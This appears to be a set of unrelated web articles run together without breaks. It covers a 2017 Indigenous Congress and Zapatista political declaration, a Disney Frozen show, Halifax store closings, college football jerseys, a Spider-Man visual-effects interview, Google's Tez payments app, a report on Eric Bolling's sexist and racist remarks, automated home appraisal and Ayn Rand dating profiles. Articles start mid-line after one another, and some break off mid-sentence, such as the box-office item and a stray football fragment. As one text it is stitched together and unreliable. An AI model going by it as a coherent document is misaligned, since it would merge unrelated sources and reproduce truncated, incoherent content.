We send our urgent word to the world from the Constitutive Assembly for the Indigenous Governing Council, where we met as peoples, communities, nations, and tribes of the National Indigenous Congress: Apache, Amuzgo, Chatino, Chichimeca, Chinanteco, Chol, Chontal of Oaxaca, Chontal of Tabasco, Coca, Cuicateco, Mestizo, Hñähñü, Ñathö, Ñuhhü, Ikoots, Kumiai, Lakota, Mam, Matlazinca, Maya, Mayo, Mazahua, Mazateco, Me`phaa, Mixe, Mixe-Popoluca, Mixteco, Mochó, Nahua or Mexicano, Nayeri, Popoluca, Purépecha, Q´anjob´al, Rarámuri, Tének, Tepehua, Tlahuica, Tohono Odham, Tojolabal, Totonaco, Triqui, Tseltal, Tsotsil, Wixárika, Xi´iuy, Yaqui, Binniza, Zoque, Akimel O´otham, and Comkaac.
THE WAR THAT WE LIVE AND CONFRONT
We find ourselves in a very serious moment of violence, fear, mourning, and rage due to the intensification of the capitalist war against everyone, everywhere throughout the national territory. We see the murder of women for being women, of children for being children, of whole peoples for being peoples.
The political class has dedicated itself to turning the State into a corporation that sells off the land of the original peoples, campesinos, and city dwellers, that sells people as if they were just another commodity to kill and bury like raw material for the drug cartels, that sells people to capitalist businesses that exploit them until they are sick or dead, or that sells them off in parts to the illegal organ market.
Then there is the pain of the families of the disappeared and their decision to find their loved ones despite the fact that the government is determined for them not to, because there they will also find the rot that rules this country.
This is the destiny that those above have built for us, bent on the destruction of the social fabric—which allows us to recognize ourselves as peoples, nations, tribes, barrios, neighborhoods, and families—in order to keep us isolated and alone in our desolation as they consolidate the appropriation of entire territories in the mountains, valleys, coasts, and cities.
This is the destruction that we have not only denounced but confronted for the past 20 years and which in a large part of the country is evolving into open war carried out by criminal corporations which act in shameless complicity with all branches of the bad government and with all of the political parties and institutions. Together they constitute the power of above and provoke revulsion in millions of Mexicans in the countryside and the city.
In the midst of this revulsion they continue to tell us to vote for them, to believe in the power from above, to let them continue to design and impose our destiny.
On that path we see only an expanding war, a horizon of death and destruction for our lands, our families, and our lives, and the absolute certainty that this will only get worse—much worse—for everyone.
OUR WAGER
We reiterate that only through resistance and rebellion have we found possible paths by which we can continue to live and through which we find not only a way to survive the war of money against humanity and against our Mother Earth, but also the path to our rebirth along with that of every seed we sow and every dream and every hope that now materializes across large regions in autonomous forms of security, communication, and self-government for the protection and defense of our territories. In this regard there is no other path than the one walked below. Above we have no path; that path is theirs and we are mere obstacles.
These sole alternative paths, born in the struggle of our peoples, are found in the indigenous geographies throughout all of our Mexico and which together make up the National Indigenous Congress. We have decided not to wait for the inevitable disaster brought by the capitalist hit men that govern us, but to go on the offensive and convert our hope into an Indigenous Governing Council for Mexico which stakes its claim on life from below and to the anticapitalist left, which is secular, and which responds to the seven principles of Rule by Obeying as our moral pledge.
No demand of our peoples, no determination and exercise of autonomy, no hope made into reality has ever corresponded to the electoral ways and times that the powerful call “democracy”. Given that, we intend not only to wrest back from them our destiny that they have stolen and spoiled, but also to dismantle the rotten power that is killing our peoples and our mother earth. For that task, the only cracks we have found that have liberated consciences and territories, giving comfort and hope, are resistance and rebellion.
By agreement of this constitutive assembly of the Indigenous Government Council [CIG its initials in Spanish], we have decided to name as spokesperson our compañera María de Jesús Patricio Martínez of the Nahuatl people, whose name we will seek to place on the electoral ballot for the Mexican presidency in 2018 and who will be the carrier of the word of the peoples who make up the CIG, which in turn is highly representative of the indigenous geography of our country.
So then, we do not seek to administer power; we want to dismantle it from within the cracks from which we know we are able.
OUR CALL
We trust in the dignity and honesty of those who struggle: teachers, students, campesinos, workers, and day laborers, and we want to deepen the cracks that each of them has forged, dismantling power from above from the smallest level to the largest. We want to make so many cracks that they become our honest and anticapitalist government.
We call on the thousands of Mexicans who have stopped counting their dead and disappeared and who, with grief and suffering, have raised their fists and risked their own lives to charge forward without fear of the size of the enemy, and have seen that there are indeed paths but that they have been hidden by corruption, repression, disrespect, and exploitation.
We call on those who believe in themselves, who believe in the compañero at their side, who believe in their history and their future: we call on them to not be afraid to do something new, as this is the only path that gives us certainty in the steps we take.
Our call is to organize ourselves in every corner of the country, to gather the necessary elements for the Indigenous Government Council and our spokeswoman to be registered as an independent candidate for the presidency of this country and, yes, to crash the party of those above which is based on our death and make it our own, based on dignity, organization, and the construction of a new country and a new world.
We convoke all sectors of society to be attentive to the steps decided and defined by the Indigenous Government Council, through our spokeswoman, to not give in, to not sell out, and to neither stray from nor tire of the task of carving the arrow that will carry the offensive of all of the indigenous and non-indigenous peoples, organized or not, straight toward the true enemy.
From CIDECI-UNITIERRA, San Cristóbal de las Casas, Chiapas
May 28, 2017
For the Full Reconstitution of Our Peoples
Never Again a Mexico Without Us
National Indigenous Congress
Zapatista National Liberation Army
En español: http://enlacezapatista.ezln.org.mx/2017/05/28/llego-la-hora-cni-ezln/In celebration of Flurry of Fun and the Christmas season, Disney’s Hollywood Studios attraction For The First Time In Forever: A Frozen Sing-Along Celebration has received a special holiday finale!
For the First Time in Forever: A Frozen Sing-Along Celebration first debuted at Disney’s Hollywood Studios back in July of 2014 and was a massive hit in the park. The popular attraction features scenes and songs from the Pixar/Walt Disney Pictures Box office hit “Frozen.”
What is so special about the attraction is that guests to the experience are encouraged to sing along to the film’s music as massive monitors display the musical scenes from the film with the lyrics to the songs along the bottom of the screen. For “Frozen” fans there is no better way to celebrate the holiday then by seeing this new edition to a beloved experience.
WATCH – HIGHLIGHTS OF HOLIDAY FINALE TO FROZEN SING-ALONG CELEBRATION:
The show still runs at the Hyperion Theater with Anna, Elsa and Kristoff, but now these friends welcome Olaf to be a part of the sing-along. In the new holiday edition of the show three new songs from the upcoming “Frozen” short airing before Pixar’s “Coco” are now included with new dance numbers.
This new special holiday edition of For the First Time in Forever: A Frozen Sing-Along Celebration is now playing at Disney’s Hollywood Studios.Loblaws announced it was building 50 more stores across the country in 2015, does this mean this is happening? I’ll try and find out.There has been a rumour for a while that they own that property
I’m kind of bummed that Bro’s Tacos (in the Dudes bus past Lawrencetown Beach) won’t be operating this year.
Ecko is closing all it’s stores (including Dartmouth Crossing).
Night Magic Fashion closed its Barringtion Street location still operating on Herring Cove Rd.
Nestle Tollhouse Cafe on Spring Garden has closed again, head office is looking for a new franchisee to take over the location.
Scotiabank is pulling out of Fall River and closing their branch on Hwy 2, the branch will close in August and all accounts will be transferred to the Lower Sackville branch.
DYK that you can get regionally famous brown sauce Pictou County pizza at Nayya in Bedford.
The city has an open tender for anyone interested in operating a convenience store out of the new Lacewood Transit Terminal.
Sad Rad is Super Sad because North End Halifax’s National Radiator has closed.
Shift-a-roo at Halifax Shopping Centre with Body Shop moved over by Victoria Secret. Peoples is in the old Kellys Luggage as they renovate their normal spot. Reitmans has shifted a few doors over to a new smaller location.Construction on Aritizia has begun.
The Cellar Bar on Grill, which had just returned to Clyde St is closing in the next week.
Thai Ivory is opening another spot, this time in Sunnyside. They will be opening an “express” version where Great Canadian Bagel used to be.
Dollarama – rama – rama- recapMiami Hurricanes let common sense prevail when it comes to their football nameplates
Back during college football’s opening weekend, a couple of adidas schools stole the show with their wacky nameplates. The Louisville Cardinals are reportedly sticking with their nameplates, but the Miami Hurricanes have decided that it’s time for a change.
Miami Athletic Director Blake James tweeted that the football team will be dumping the weird nameplates and will be going to a “traditional block letter font.” That sound you hear is a huge sigh of relief from Miami’s fanbase, who have to be relieved that their school’s football team will soon have legible nameplates.
We may have gotten a sneak preview at what the new nameplates could look like thanks to this photo of a replica jersey:
Again, it’s a replica jersey so the authentic product could look a lot different, but it’s clear that unless adidas and Miami managed to find an even weirder block font, then whatever they come up with should be a huge upgrade for the Canes.Universal’s “Fifty Shades of Grey” remains dominant at the U.S. box office — despite projections that see it plunging 70% to an estimated $25 million in its second weekend at 3,655 theaters.
The decline is not a surprise following the eye-popping $85 million opening weekend. The performance is similar to the second weekends of “Sex and the City” and “The Fault in Our Stars,” two female-driven films that dazzled during their opening weekends and then fell quickly.
“Fifty Shades” was tracking for an $8.5 million total on Friday. It will finish the weekend with a U.S. total of |
flawless team, but with better play out of Foles, they could have had a flawless record. Unless Foles can step up in the pocket and step up his play in the second half of the season, it isn't going to be a long second half.Angkor Wat may be covered in graffiti—but don’t worry, it’s invisible. Built in the early 12th century, Cambodia’s architecturally iconic temple is known for its intricate carvings, some of them stretching nearly a kilometer in length. But most archaeologists believe that parts of the temple were once painted as well. So when scientists noticed faint traces of red and black pigment on the walls of several rooms in Angkor Wat, they snapped pictures with a bright flash and used a tool called decorrelation stretch analysis to digitally enhance the images. Previously used to highlight subtle color differences in images of the martian landscape taken by NASA’s Opportunity rover, this type of analysis can reveal colors too faint or faded to be seen with the naked eye. When the researchers applied it to their photos of Angkor Wat, they found more than 200 images of boats, deities, buildings, and animals—like the elephants above (inset)—drawn on the walls throughout the temple, they report today in Antiquity. Most of the paintings are haphazardly arranged and appear to be graffiti left by visitors after Angkor Wat was first abandoned in 1431. But one group of carefully drawn scenes, located in the highest tier of one of Angkor Wat’s towers, might be the remains of a 16th century restoration program, when the complex was transformed from a Hindu temple into a Buddhist shrine. The previously lost images could give archaeologists new insight into this little-known period in Cambodia’s history.Spider-Man: Homecoming is a great little movie, thanks to its small focus and deeply personal stakes. Peter Parker is one of the greatest comic book characters ever created, because where heroes like Clark Kent and Bruce Wayne face huge conflicts, Peter’s a regular teenager with everyday problems, and he strains to be worthy of the title “superhero.”
Spider-Man is a teenager trying hard not to screw up
Tom Holland’s take on the character in Homecoming exemplifies that struggle in a number of ways. He’s desperate to win Tony Stark’s approval. He’s looking for ways to save the day, even in the smallest ways possible. And he misses chances to hang out with his crush, Liz, because he’s too busy trying to stop small-time crooks. But the cracks in his budding superhero persona are clearest when he screws up. By the end of the film’s second act, he chases the Vulture (Michael Keaton) and his gang to the Staten Island Ferry to stop an illegal weapons sale. The fight initially looks like a win for the webslinger, but soon, things get out of hand. And because Peter is so overeager, he puts himself and everyone on the ferry in danger.
That ferry scene is one of the film’s biggest set pieces, not just as a show of Peter’s superpowers, but also of his fallibility. Assembling the sequence required a great deal of attention to detail, and Sony Pictures brought in VFX production company Digital Domain to make sure all the little moving parts sing. The company provided effects for such films as Titanic, Deadpool, and Furious 7, and its artists made sure that everything in the ferry scene, from the lighting, to the costume designs, to the weaponry, speaks to how far over his head Peter is. I recently spoke with Homecoming VFX supervisor Lou Pecora about how the ferry scene finally came together.
What was it like animating Spider-Man’s action in a way that felt real and grounded?
Well, that’s a great question, and the answer is that we didn't really animate it! It's mostly motion-captured Tom Holland. He was amazing. Where he didn't do motion capturing, or first-unit work on his acting, he was doing many of his own crazy wire-work stunts. He's a very acrobatic guy. He did so much of this stuff himself. Where we had to take over, where he’s like, “I can’t jump from the ground three levels up,” we had to keyframe that stuff, and that’s it.
The Vulture, Shocker, and their mooks are all in the scene doing their own work. What else did you have to be aware of?
Michael Keaton was only the Vulture where he had takes. Other than that, [Vulture] was a digital guy. We built him based on the practical suit that [the production team] had built. They didn't build the wings, they just built the independent jacket, the mask, and gloves, and pants, all that, and then just the little section of the wings that fit right on his back. And the rest of it, we made out of concept art and stuff like that. And, of course, it went through a few different iterations.
The thing got extraordinarily complicated because of the mechanical design, where you have these pieces moving across each other. A couple open up, and turbines keep spinning around, and we had to make it into something that could articulate realistically and believably, yet be nimble enough to be interesting, plus having the guy fly around.
Director Jon Watts wanted the camera to behave as realistically as possible
I mean with everything in this movie, from the mechanical design of that suit to [the way] the camera moves, Jon Watts, the director, he's very methodical, I think. He said, “If a real camera can't do this thing, don't do it.” So we were watching our scenes, lenses, all that stuff to make sure that camera moved in a way that a real camera could. Like, you can't shove a camera through a tiny keyhole and have it zoom back out, spin around super fast.
So if a drone, or copter, or crane could do it, then we were free to do it. But if it's unbelievable camera movement, he didn't want it in there. He’s very focused on keeping the film and the details grounded in reality.
The way light works in the scene is interesting, particularly in the Chitauri weapon. What went into that?
They went through many different iterations. It starts out with something that's been done before, right? So you look at the weapons that were used in The Avengers, for instance. The beams they had, what color, the intensity and the opacity, different characteristics like that.
That looked too unbelievable [for Homecoming], because the scale was off. So we had to zero in on it. And frankly, that was one of the last shots out the door, those wide shots of the energy weapon. It had to function first as a gun, as a blaster. It had to be a weapon that had an impact and a mass to it. Like, it knocks the chairs back, it blows the doors off the ferry when he shoots it. But it also had to become something that could slice like a hot knife through butter. So when the focusing crystal breaks off, that's where it goes from one to the other. And it was very important to Marvel that this had to be Spider-Man's fault.
What kind of decisions went into making it clear it was his fault? Did you have to create an effect that made it clear that the overload is because of Spider-Man's actions?
Yeah, we tried to. It's hard to see that. But the sound effect, it’s like an engine winding up. So you get the idea that this thing is charging up. Remember the old [camera flash bulbs], where you'd hear it charging up, like the camera? It's sort of like that, but on steroids. It hits the deck and the crystal breaks off. We went through iterations of that to make sure you can see that the crystal broke off the front of the gun. And now it's sort of malfunctioning in a wild way, like a propane tank or something that had the nozzle broken off.
What kind of resources were involved in actually pulling that off?
Well, we had a couple hundred artists on at different times in the show, and others came on later, depending on the department. Our build [of the ferry] took about six weeks from the standing point until we actually had a usable model, and then we had to clean it all up. So we had a team of eight or nine modelers who were working on this and the Iron Man suit and the Vulture wings and everything else, too, just to build the models.
Hundreds of artists worked to make the model of the ferry seem real
And then there's textures and lighting and shading and everything that goes along with it. And that can be weird. I mean, you know from being there that [a Staten Island ferry boat] is orange. It's just surreal in its saturation. It almost looks fake in real life. And when you look at it, it’s hard not to make it look small. So putting a lot of details on there. Because it's not just one surface, right? It's a bunch of sheet metal that's all welded together. The weld bonds and the engine, not just a flat plane. It's got bits to it, and warbling. It's very hard to achieve that, and expensive in terms of what it does to the computers that need to render it. But it is worth it, because in the end, you get a sense of scale that you can only get by doing that kind of thing.
You're also incorporating the New York skyline in the background. What went into making that setting convincing?
There were aerial units that took photography from helicopters, but that stuff was up a little bit too high. So we actually took a boat out. We had a giant crane on a tug, and we had intended to shoot several heights in order to build environment spheres. Because the whole thing takes place from the Battery Park Terminal to the halfway point between right where Governor's Island and the Statue of Liberty are, right?
So it can only go that far, this whole ride. So we had to keep track, time-wise, of where [our boat is] on this journey, and so we had photographs of skylines from different altitudes and different distances from Battery Park in order to hand off from one environment bubble to the next. So, “Now close to Battery Park. Now we’re a third of the way. Now we're half the way from the Statue of Liberty. Now we're at the Statue of Liberty.” We shot a bunch of still photography and moving footage. Then we did a lot of CG water to augment the real water we put in there.
The crane we took on the boat [early on in the shooting] was somewhat terrifying. We were out to sea and tried to use it, [but] it was deemed “unfit,” and we couldn't use it. And so we locked it back down and we had to resort to carrying the camera gear up onto this boat in order to get some tiles of the area, and then take it back down to the deck in order to get the tiles for when you're in the car deck.
So we got different altitudes that would look more realistic, depending on if you're in the air with the Vulture, or if you're on the car deck with Spider-Man. It has that feel like you're the right altitude. And you're close enough to that skyline. To Jersey and to Brooklyn. So we tried to make it as accurate as possible.
How did you plan out the sequence where Peter is trying to use his webbing to keep the boat together?
It was very important, story-wise. There's a bit there where [Peter’s spider-suit] tells him, "Congratulations, Peter, you were 98 percent successful." And then you see there is this one rail he missed, and it was important that he missed it. This is the kind of detail that Jon and the Marvel creatives get into, and this is one of the reasons they're absolutely a pleasure to work with. I love thought processes like this.
If he had hit all the marks, then the suit would’ve been what messed up. But because Peter missed the rail, that's what caused the thing to fall apart. [In one rejected version of the sequence] he had hit the rail. It's still in the movie — a quick shot of a piece of railing flying by the camera. The idea was that he'd get 'em all, but then it broke. We had a piece of the railing that was dangling. And the creators at Marvel were like, "No, no, it can't be that, because otherwise the suit screwed up, and didn't accurately calculate the weight load that that railing would've had in order to hold it together."
It needed to be clear that the ferry’s destruction was Spider-Man’s fault
So we had to make sure that he missed it. We had to go back and redo that, and get rid of that railing and the dangling piece to show that no, he just missed it. So it still is his fault and not Tony's fault, or the suit's fault, or anything like that. I love it. I mean, it's a pain to go back and redo stuff, but you have to do it with a smile on your face.
And that's the thing about this project — everybody, top to bottom, these guys, if it's a good idea, they don't care who comes up with it. If it makes the movie better, it's going in. It’s all about making the best movie they can make. Does it cost more? Fine. Is it worth it? Yes, we're gonna do it. And they're just so focused on making a good movie. I felt so free.
Were there specific instances where your team had an idea and the creators just went with it?
Jon had this idea, "Hey, get Spider-Man out there, off the deck and over the water." When he webs the Vulture, he goes up in the air and comes back. We needed to figure out how we were gonna frame it, and what lenses to use, and how close to the water we can get. “What's this gonna look like when he lands?” All that kind of stuff. The direction was pretty simple, just, “Do it out over the water.” [We tried it, and Jon] liked some bits, he didn't like other bits, and so we went back and forth. But that was an example where we were able to go nuts and have fun with it. We came up with that framing, and the cadence of it. It was a big break to get that kind of freedom, instead of, "Oh, I'll have my art department sort something out and get it to you.”
So that’s an example of the kind of organic filmmaking these guys do. Bryan Singer's very much like, "Shoot the [pre-visualization]. Exit the pre-vis. That's what I want." These guys are a lot more organic. They'll just keep working on it. And it's fearless to do it that way. It's a little harrowing, you know? You feel like you're flying without a net, because you're running out of time, and these great ideas keep coming. You're like, "God, this is a great idea, but I wish you thought of that three months ago!" But it's like, "You got a good idea, we gotta do it!"
Who besides Bryan Singer have you worked with to create a scene like this?
Oh jeez. The Transformers movies with Michael Bay, and Flags of our Fathers with Clint Eastwood. I lose track of some of them myself. They're all great, and they're all bright. They all have their own unique spins on things, and that's one of the things I really love about this job. I didn't know much about the Staten Island Ferry. I hadn't been to New York since I was a kid, so I got to go spend [some time] in New York. I love New York. It's such a blast.
I'd love to go back again and do another movie there, you know? In this movie, I learned a bunch of things, and then other movies, you learn a lot of other things. The different people, the different types of personalities. Everybody has their own little way they work, and the little things to make them tick, and one of the finest parts of this job is getting to know that.
Every director puts their own unique spin on things
I'm a real people person, so I really study people, and I kind of figure out how to talk them on a level where I can get across my point and can understand their point. With Michael Bay, you get an idea of what he's saying pretty quickly. Jon is very articulate in his words. He’s very methodical and slow in the way he explains things.
So it's really fun for me to have to change the way I approach the directors and filmmakers in order to give them what they want. And ultimately, that's what we're doing. We're helping to make their movie. It's really fun to help translate their ideas into something I can explain to my team of artists, and then bring that back to them. I’m sort of a glorified translator. It's a lot of fun.Of late, India has been going digital. Ever since the Prime Minister announced the demonetization drive last year, India’s evolution towards becoming a cashless economy picked up pace. The UPI platform suddenly came into prominence and the awareness around it increased. Google is now working on Tez, Google’s UPI enabled payment application for India.
This is a unique move from Google as it is rare that we see Google operating towards apps that deal with transfer of money beyond the US. The app is going to be quite different from what we have seen in Google Wallet and Android Pay and is going to be UPI-focused.
UPI, for those who might not be aware, stands for Unified Payments Interface – which is a government backed service for quick and easy transfer of money. UPI involves users creating a Virtual Private Address (VPA) linked to their bank account. Any time you want to receive money from someone, you can simply send in your UPI VPA and the money would be transferred instantly. Google’s Tez is based on this platform.
Tez, which literally translates to Fast, is yet to be officially announced by Google. However it was spotted by Indian news website the-ken. The-Ken indicates that Tez might also soon be made available in Indonesia and the Philippines as Google has filed for trademarks in these countries too.
Interestingly, Tez will be a dedicated Android app for payments and will not be introduced as a part of another app. As of now, Google has declined to comment on Tez but it is expected that the announcement will follow soon.
This is going to be a major step up towards increasing awareness around UPI and getting more users to make use of this government backed payment platform. Stay tuned with us for more updates on Google’s Tez.
Source: The-KenThe Fox News host suspended over the weekend for alleged sexual harassment has a long, documented history of piggish on-air behavior.
On Saturday, Fox News announced that it had benched Eric Bolling while it investigates the claims, first reported by HuffPost, that he sent colleagues lewd text messages, including photographs of male genitalia. Bolling, through a lawyer, denied the “uncorroborated claims,” calling them “untrue and terribly unfair.”
The next day, a frequent former Bolling guest on his shows, Caroline Heldman, came forward to recount how the Fox star had repeatedly made inappropriate, sexist comments towards her while on TV.
“Bolling referred to me as ‘Dr. McHottie’ on air on four different occasions, and called me ‘smart, beautiful, and wrong’ on air twice,” the college professor recounted in a Facebook post. “This on-air behavior was perfectly acceptable to Fox executives at the time.” (In a statement Monday, Fox News said, “We are investigating this matter and all claims will be taken into account.”)
Indeed, on January 8, 2011, Bolling remarked that he couldn’t tell between two liberal guests who was further to the political left, “Jonas [Ferris] or Dr. McHottie over there.” On another show, several days later, he referred to the sexist nickname, saying, “I won‘t call you that.”
And yet on April 2, 2011, during a Bulls & Bears segment about Wisconsin unions boycotting certain businesses, Bolling dismissed Heldman’s liberal opinion that “boycotts are the most American thing you can do,” by snarking: “I’m shocked that the great Dr. McHottie said that ‘It’s the most American thing you can do.’ It’s the least American thing you can do.”
Bolling again referred to Heldman as “Dr. McHottie” on May 13, 2011—except, this time, the professor hit back by calling the host “Mr. McSexist” later in the program. Perhaps embarrassed by the call-out, Bolling replied, “I say that in all good humor. If I offend you I won’t say it anymore.”
Heldman also recounted several occasions in which Bolling shrugged off her on-air disagreements by casually remarking about her physical appearance.
During a January, 12, 2011 episode of Follow the Money, for example, after Heldman asserted that America’s wealthiest individuals are not “paying their fair share” of taxes, Bolling replied: “Professor, you're smart, you're beautiful, but you're wrong.”
Two weeks later, on the same Fox Business Network show, Bolling dismissed Heldman’s liberal opinions with a dose of casual sexism: “Doc, I've said it before, I'll say it again: smart, beautiful, and wrong.”
Heldman claimed in her Facebook post this weekend that Bolling would often contact her after the show “sometimes to apologize for his behavior (and then do it again)” and sometimes to invite her out to New York to have “fun.” Additionally, she alleged, “Once, he took me up to his office in New York, showed me his baseball jerseys, and in the brief time I was there, let me know that his office was his favorite place to have sex.”
Bolling’s history of inappropriate on-air comments extends well beyond Heldman, liberal watchdog group Media Matters noted on Monday.
In November 2011, Bill Maher made a sexist joke that Egyptian then-President Hosni Mubarak should send CBS reporter Lara Logan’s “intrepid hotness” back to the United States, following her sexual assault there, in exchange for conservative The View host Elisabeth Hasselbeck.
Bolling’s response: “Bill Maher is so wrong. You want to talk about ‘intrepid hotness’? That’s Elisabeth Hasselbeck, not Lara Logan.” Several of his co-hosts were audibly stunned.
Bolling said in June 2013, in reaction to a story about a middle-school girl being cut from a football team for fears of “impure” thoughts among her male teammates: “This is more of the wussification of American men. The girls want to be tougher, the boys want to be sweeter,” he said.
Bolling then bizarrely pivoted to waxing nostalgic: “I just long for the days where it’s okay to tell a woman she looks beautiful in that dress. I’m not sure if I could do that anymore because I might be harassing her.”
Similarly, the year prior, he lamented a 9-year-old girl’s desire to play football by demanding: “Let the boys be boys, let the girls be girls.”
In December 2014, he declared that “there should be no question” that men are “more successful, we’re better traders, we’re better leaders, and we’re better athletes.”
But perhaps most infamous was the time Bolling asked, in reference to the first female pilot for the United Arab Emirates, who participated in bombing raids against ISIS militants: “Would that be considered boobs on the ground?” He was forced to apologize the following day.
In addition his casual sexism, The Daily Beast has previously reported on Bolling’s extensive history of racist on-air commentary.
Throughout the 2012 election season, Bolling repeatedly promoted the conspiracy theory that President Obama’s birth certificate was a fraud and that Obama was actually born in Kenya. When Obama met with the president of Gambia in 2011, Bolling declared, “It’s not the first time he’s had a hoodlum in the hizzouse,” adding, “So what’s with all the hoods in the hizzie?”
Earlier that same year, the Fox host said Obama was too busy “chugging forties” to visit tornado-ravaged Joplin, Missouri. And on another evening, he addressed the president: “How does increasing taxes count as spending cuts in your world, Mr. Obama? Maybe in Kenya, but certainly not here.”
Additionally, in 2012, after Democratic Rep. Maxine Waters, who is black, used fiery rhetoric to bash Republican leaders, Bolling responded, “Congresswoman, you saw what happened to Whitney Houston. Step away from the crack pipe.”Property assessment has long been a solid industry with steady work for those willing to undertake the education and training required to enter the field. But that stability is changing thanks to automation. The number of appraisers is shrinking as software gets more accurate at valuing property and is increasingly integrated into the sale process. Benjamin Keys, Wharton professor of real estate, and Stan Humphries, chief analytics officer at online real estate marketplace Zillow.com, recently appeared on the Knowledge@Wharton show on SiriusXM channel 111 to discuss the changes and where the industry is headed. (Listen to the podcast at the top of this page.)
Following are key takeaways from their conversation:
The margin of error is decreasing as automation improves.
Zillow offers a tool it calls Zestimate that uses input factors to determine the worth of a property. The Zestimate, which has been around since the website’s inception in 2006, cannot be considered an official, certified appraisal. But it’s a start, said Humphries. It’s also getting better as the company pours more resources into research and development.
“Back when we launched, we put in about 43 million homes and had a median error rate of close to 14%,” he said. “Today, we value about 100 million homes every single night and our error rate is down to 4.3%. So, we’ve made a lot of advances in the accuracy of valuing homes.”
Zillow is pushing for even greater precision. The company is offering a monetary prize for its teams that can get the algorithm’s error rate down to 2% or 3%.
“Computerized models are going to get very accurate, although in the end there’s probably some role for human beings to be involved there,” Humphries said. “The question is, what is that role of that human being? Right now, appraisers are professionals. They have a high degree of discretion, and there’s a bit of an art to what they do. In the future, there is a role to make sure that the facts the computer is using are accurate, but that’s more of a technician type job as opposed to professional.”
Keys credits Zillow for improving virtual assessment methods and said automation is an undeniably growing part of the industry.
“I think it’s only a matter of time until the technology is strong enough and cheap enough, from the standpoint of the lenders and the buyers, to cut out the humans from this process and move to more of an algorithm-based process,” he said.
Digital appraising can reduce confirmation bias.
Keys underscores that buying a home is a relatively infrequent transaction for the average American, so individuals have limited expertise in the valuation process. That’s where the professional appraiser comes in. He or she makes a reasonable assessment by examining a set of comparable properties nearby and making adjustments based on the finishes and other elements of the home.
“If I see a sofa on Craigslist; I don’t hire an external appraiser to argue about whether it’s worth $100 or $200,” he said. “But in this case, there’s a third party with money at stake, and that’s the lender or the investors. They want to make sure that their investment is appropriate and the value of the house is appropriate for the transaction.”
Still, even the most professional appraisers are vulnerable to the forces of the real estate market.
“One of the things we observed during the housing boom was a lot of pressure on appraisers to hit various prices, so the incentive problems there are really deeply entrenched,” Keys said. “The deck is already stacked to hit a certain appraisal number. That’s really problematic and can also lead to a driving up of house prices. All of these things are pointing towards the potential for technology to play a really important and potentially beneficial role.”
As comparable properties sell for higher and higher prices, the pressure on the appraiser increases. An appraiser who wants to hold the line on the price of a property runs the risk of not getting subsequent business.
“There have been a number of layers of regulation put into place to block that type of behavior where you’re shooting for a particular number,” Keys said. “But it is the case that the historical appraisal process led to the risk of being gamed and the risk of ratcheting up prices.”
Humphries agreed, saying there are countervailing incentives in the process.
“If you look at appraisal accuracy over a long period of time, 90% of the time appraisals come in above the purchase of sale agreement,” he said. “That leads you to believe there’s confirmation bias there, that appraisers are not individually valuing that home but justifying the price that’s already been agreed to. Normally, that doesn’t get you into that much trouble because home prices are increasing.”
However, the 2008 recession and real estate market collapse illuminated the problem of inflated home prices. The experts said automated appraisals could help take some of the air out of the balloon.
“Computerized models are going to get very accurate, although in the end there’s probably some role for human beings to be involved there.” –Stan Humphries
Will appraisers really be run out of the business?
The work of property assessment is transitioning from an art to a science, Keys said.
Most states require appraisers to have a college degree, complete an apprenticeship and have ongoing training. Extensive licensing is usually required. Keys said the industry has seen a decline of about 25,000 appraisers in the last decade, from about 120,000 to 95,000.
“As you begin to see the writing on the wall, why start on this treadmill? Why begin on this long process of being approved for an industry when there is relatively limited future growth?” he asked. “That’s really thinned out the pipeline of people who want to get into the appraisal business.”
Humphries noted that there is irony in the formidable licensing requirement, which creates a barrier to entry for new people but drives up wages for those who stay the course. “It’s not leading to folks trying to find an alternative to them.”
Fannie Mae and Freddie Mac are already experimenting with some automation, which will undoubtedly continue. Perhaps the future role of the appraiser will be as an arbitrator who offers a human check-and-balance to an automated system, Keys said.
“What’s the role of the appraiser going to be moving forward? Is this industry essentially doomed, or are they going to be playing a much smaller role?” he asked. “Whether the licensing barriers make sense as that transition occurs is something states are going to have to grapple with.”
Humphries pointed out that before automation supplants human appraisals, a cultural shift must occur. The current appraisal process is “very binary” for a lender, who wants the assessment to match the sale price exactly. But an automated valuation model (AVM) would mean thinking about the assessment in terms of a range.
“Is [the sale price] in the range that the model came up with? If you’re willing to trust a range, then a home could have that appraisal done in advance of the purchase of sale being agreed to,” he noted. “Right now, if the AVM comes in at 98 and the purchase of sale agreement is 100, that creates a problem.”Two weeks ago, Ayn Rand aficionado Alan Greenspan admitted to a House subcommittee that his libertarian economic worldview had been shaken by events on Wall Street; last week, Governor Paterson approvingly cited Rand’s advocacy of stout individualism, which he says citizens of New York State will need during the budget crisis. Meanwhile, on TheAtlasphere.com, a dating site, Rand fans are just looking for love; below, excerpts from user profiles.
waitingfordagny, Chicago, Illinois
I want to meet a serious woman who both challenges me intellectually and inspires me to noble things by her beauty.
Michael, Naples, Florida
Long ago a very dear friend, Angie, turned me on to Ayn Rand and Atlas Shrugged.
Parenthetically, she also turned me on in other ways. Alas, our relationship remained Platonic.
Contact Me If You : are Angie.
dpvabc, Edmonton, Canada
My name is Daniel. I consider myself to be a born-again egoist and I have dedicated the rest of my life to self-improvement. People see me as a socially inept loner because I tend to avoid superficial conversation but actually I love talking to people who like to think (the problem being I don’t know very many).
mxjohnxm, Greenville, South Carolina
One can’t love man without hating most of the creatures who pretend to bear his name.
mattqatsi, East Dundee, Illinois
If I Could Do Lunch With Anyone: Ronald Reagan and Newt Gingrich Do I really have to explain?
thustotyrants, Selden, New York
[I am] short, stark, and mansome.
You should contact me if you are a skinny woman. If your words are a meaningful progression of concepts rather than a series of vocalizations induced by your spinal cord for the purpose of complementing my tone of voice. If you’ve seen the meatbot, the walking automaton, the pod-people, the dense, glazy-eyed substrate through which living organisms such as myself must escape to reach air and sunlight. If you’ve realized that if speech is to be regarded as a cognitive function, technically they aren’t speaking, and you don’t have to listen.
Zak, Long Island, New York
I am rational, integrated, and efficacious. So far, I’ve never met a person who lives up to the standard I hold for myself (except online).
I take my relationships seriously. I am simply not attracted to many of the women in this world. I do not hook-up with girls. I only kiss those who deserve, and so far I have only encountered one who did. I would love to find someone I can learn something from; someone who challenges me to think; someone I can feel like I’ve won, rather than lowered myself to.
lostpainting, Hagerstown, Maryland
Please note: If you’re overweight, I won’t date you. If you believe in God, I won’t date you. If you vote for Democrats, I won’t date you.
Chinoy, Manila, Philippines
My individualism takes precedence at all costs, if not at all times.
Contact Me If You : do not conform to the dictates and whims of any of the world’s religions, simply because your soul’s independence is paramount.
Lewis, London, U.K.
